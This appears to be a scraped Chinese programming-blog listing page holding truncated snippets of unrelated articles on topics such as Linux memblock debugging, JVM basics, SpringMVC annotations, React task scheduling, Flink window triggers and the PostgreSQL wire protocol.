前言 一般在执行压力测试之前&#xff0c;会由开发提供出接口文档&#xff0c;包含一些接口的详细参数&#xff0c;便于测试工程师编写测试脚本。但在某些情况下&#xff0c;接口等相关文档缺失&#xff0c;那作为Tester&#xff0c;我们该如何顺利的实施压力测试呢&#xff1…...

Linux: memory: memblock: debug

文章目录 代码memblock=debug实例log代码 将内存相关的一些日志打开: static int __init early_memblock(char *p) {if (p && strstr(p, "debug")...

搬家快递服务小程序的便利性

在当今快节奏的生活中&#xff0c;搬家可能是很多人都需要面对的问题。无论是新房子还是新办公室&#xff0c;都需要高效、便捷的搬家服务。本文将介绍如何使用第三方小程序制作平台&#xff0c;如乔拓云平台&#xff0c;开发一款高效便捷的搬家服务小程序。 1. 注册登录第三方…...

软件架构师 Debugging

软件架构师 Debugging 目录概述需求&#xff1a; 设计思路实现思路分析 参考资料和推荐阅读 Survive by day and develop by night. talk for import biz , show your perfect code,full busy&#xff0c;skip hardness,make a better result,wait for change,challenge Survi…...

​7.1 项目1 学生通讯录管理:文本文件增删改查(C++版本)(自顶向下设计+断点调试) (A)​

C自学精简教程 目录(必读) 作业目标&#xff1a; 这个作业中&#xff0c;你需要综合运用之前文章中的知识&#xff0c;来解决一个相对完整的应用程序。 作业描述&#xff1a; 1 在这个作业中你需要在文本文件中存储学生通讯录的信息&#xff0c;并在程序启动的时候加载这些…...

学习使用php判断阿里云oss图片单图或批量上传、查询图片文件是否存在

学习使用php判断阿里云oss图片单图或批量上传、查询图片文件是否存在 doesObjectExist doesObjectExist 主要函数doesObjectExist /*** Base64上传文件* param string|array $images* param string $model_path* param string $model_type* param string $upload_path* param…...

重磅| Falcon 180B 正式在 Hugging Face Hub 上发布!

引言 我们很高兴地宣布由 Technology Innovation Institute (TII) 训练的开源大模型 Falcon 180B 登陆 Hugging Face&#xff01; Falcon 180B 为开源大模型树立了全新的标杆。作为当前最大的开源大模型&#xff0c;有180B 参数并且是在在 3.5 万亿 token 的 TII RefinedWeb 数…...

Linux命令行

目录 CLI GUI 命令行界面 图形界面 命令行提示符 # $ ​编辑 命令一般由三个部分组成 历史命令&#xff0c;使用上下键&#xff0c;或者使用history&#xff0c;ctrlr搜索历史命令 通配符 *,? 切换用户 su 作业管理 &&#xff0c;jobs,bg,fg CLI GUI 命令行界面 …...

[持续更新]计算机经典面试题基础篇Day1

[通用]计算机经典面试题基础篇Day1 1、jvm的组成 类加载器&#xff08;Class Loader&#xff09;&#xff1a;负责将编译后的Java类加载到JVM中&#xff0c;并在运行时动态加载所需的类。运行时数据区&#xff08;Runtime Data Area&#xff09;&#xff1a;是JVM的内存管理区…...

ProcessWindowFunction 结合自定义触发器的陷阱

背景&#xff1a; flink中常见的需求如下&#xff1a;统计某个页面一天内的点击率,每10秒输出一次&#xff0c;我们如果采用ProcessWindowFunction 结合自定义触发器如何实现呢&#xff1f;如果这样实现问题是什么呢&#xff1f; ProcessWindowFunction 结合自定义触发器实现…...

什么是jvm

一、初识JVM&#xff08;虚拟机&#xff09; JVM是Java Virtual Machine&#xff08;Java虚拟机&#xff09;的缩写&#xff0c;JVM是一种用于计算设备的规范&#xff0c;它是一个虚构出来的计算机&#xff0c;是通过在实际的计算机上仿真模拟各种计算机功能来实现的。 引入Jav…...

kettle通过java步骤获取汉字首拼

kettle通过java步骤获取汉字首拼 用途描述 一组数据&#xff0c;需要获取汉字首拼后&#xff0c;输出&#xff1b; 实现效果 添加jar包 pinyin4j-2.5.0.jar 自定义常量数据 Java代码 完整代码&#xff1a; import net.sourceforge.pinyin4j.PinyinHelper; import net.sou…...

Conformer: Local Features Coupling Global Representationsfor Visual Recognition

论文链接&#xff1a;https://arxiv.org/abs/2105.03889 代码链接&#xff1a;https://github.com/pengzhiliang/Conformer 参考博文&#xff1a;Conformer论文以及代码解析&#xff08;上&#xff09;_conformer代码_从现在开始壹并超的博客-CSDN博客 摘要 在卷积神经网络…...

java8-Stream流常用API

什么是 Stream Stream&#xff08;流&#xff09;是 Java 8 引入的一个新的抽象概念&#xff0c;它代表着一种处理数据的序列。简单来说&#xff0c;Stream 是一系列元素的集合&#xff0c;这些元素可以是集合、数组、I/O 资源或者其他数据源。 Stream API 提供了丰富的操作方…...

React 任务调度

React 任务池 不同的fiber任务有不同的优先级&#xff0c;为了用户体验&#xff0c;React需要先处理优先级高的任务。 为了存储这些任务&#xff0c;React中有两个任务池&#xff1a; // Tasks are stored on a min heap var taskQueue []; // 存储立即要执行的任务 var tim…...

小白开始学习C++

​​​​第一节&#xff1a;控制台输出hello word&#xff01; #include<iostream> //引入库文件 int main() { //控制台输出 hello word! 之后回车 std::cout << "hello word!\n"; #include<iostream> //引入库文件int main() {//控制…...

SpringMVC入门的注解、参数传递、返回值和页面跳转---超详细教学

前言&#xff1a; 欢迎阅读Spring MVC入门必读&#xff01;在这篇文章中&#xff0c;我们将探索这个令人兴奋的框架&#xff0c;它为您提供了一种高效、灵活且易于维护的方式来构建Web应用程序。通过使用Spring MVC&#xff0c;您将享受到以下好处&#xff1a;简洁的代码、强大…...

【复习socket】每天40min,我们一起用70天稳扎稳打学完《JavaEE初阶》——28/70 第二十八天

专注 效率 记忆 预习 笔记 复习 做题 欢迎观看我的博客,如有问题交流,欢迎评论区留言,一定尽快回复!(大家可以去看我的专栏,是所有文章的目录)   文章字体风格: 红色文字表示:重难点★✔ 蓝色文字表示:思路以及想法★✔   如果大家觉得有帮助的话,感谢大家帮忙 点…...

vue2踩坑之项目:生成二维码使用vue-print-nb打印二维码

1. vue2安装 npm install vue-print-nb --save vue3安装 npm install vue3-print-nb --save 2. //vue2 引入方式 全局 main.js import Print from vue-print-nb Vue.use(Print) ------------------------------------------------------------------------------------ //vue2 …...

【iVX】十五分钟制作一款小游戏,iVX真有怎么神?

个人主页&#xff1a;【&#x1f60a;个人主页】 新人博主&#xff0c;喜欢就关注一下呗~ 文章目录 前言iVX介绍初上手布置背景制作可移动物体总结&#xff08;完善步骤&#xff09; 前言 在上篇文章中&#xff0c;我向大家介绍了一种打破常规的编程方式——iVX&#xff0c;可…...

SpringMVC常用注解、参数传递、返回值

目录 前言 一、常用注解 二、参数传递 ​编辑 1. 基础类型String类型 2. 复杂类型 3. RequestParam 4. PathVariable 5.RequestBody 6. RequestHeader 三、方法返回值 一&#xff1a;void 二&#xff1a;String 三&#xff1a;Stringmodel 四&#xff1a;ModelAndVi…...

新公司第一次上架新APP需要提前准备哪些材料?

目录 前言一、需要上架的应用市场二、需要准备的资料总结 前言 前不久&#xff0c;使用一家新公司刚刚上架了一款新的APP项目。特此记录一下&#xff0c;现在第一次上架一款APP需要提前准备的各项材料。 一、需要上架的应用市场 现在&#xff0c;上架一款新的APP主流的应用市…...

『C语言进阶』指针进阶(一)

&#x1f525;博客主页&#xff1a; 小羊失眠啦 &#x1f516;系列专栏&#xff1a; C语言 &#x1f325;️每日语录&#xff1a;无论你怎么选&#xff0c;都难免会有遗憾。 ❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ 前言 在C语言初阶中&#xff0c;我们对指针有了一定的…...

2605. 从两个数字数组里生成最小数字(Java)

给你两个只包含 1 到 9 之间数字的数组 nums1 和 nums2 &#xff0c;每个数组中的元素 互不相同 &#xff0c;请你返回 最小 的数字&#xff0c;两个数组都 至少 包含这个数字的某个数位。 示例 1&#xff1a; 输入&#xff1a;nums1 [4,1,3], nums2 [5,7] 输出&#xff1a;1…...

深度解析 PostgreSQL Protocol v3.0(一)

引言 PostgreSQL 使用基于消息的协议在前端&#xff08;也可以称为客户端&#xff09;和后端&#xff08;也可以称为服务器&#xff09;之间进行通信。该协议通过 TCP/IP 和 Unix 域套接字支持。 《深度解析 PostgreSQL Protocol v3.0》系列技术贴&#xff0c;将带大家深度了…...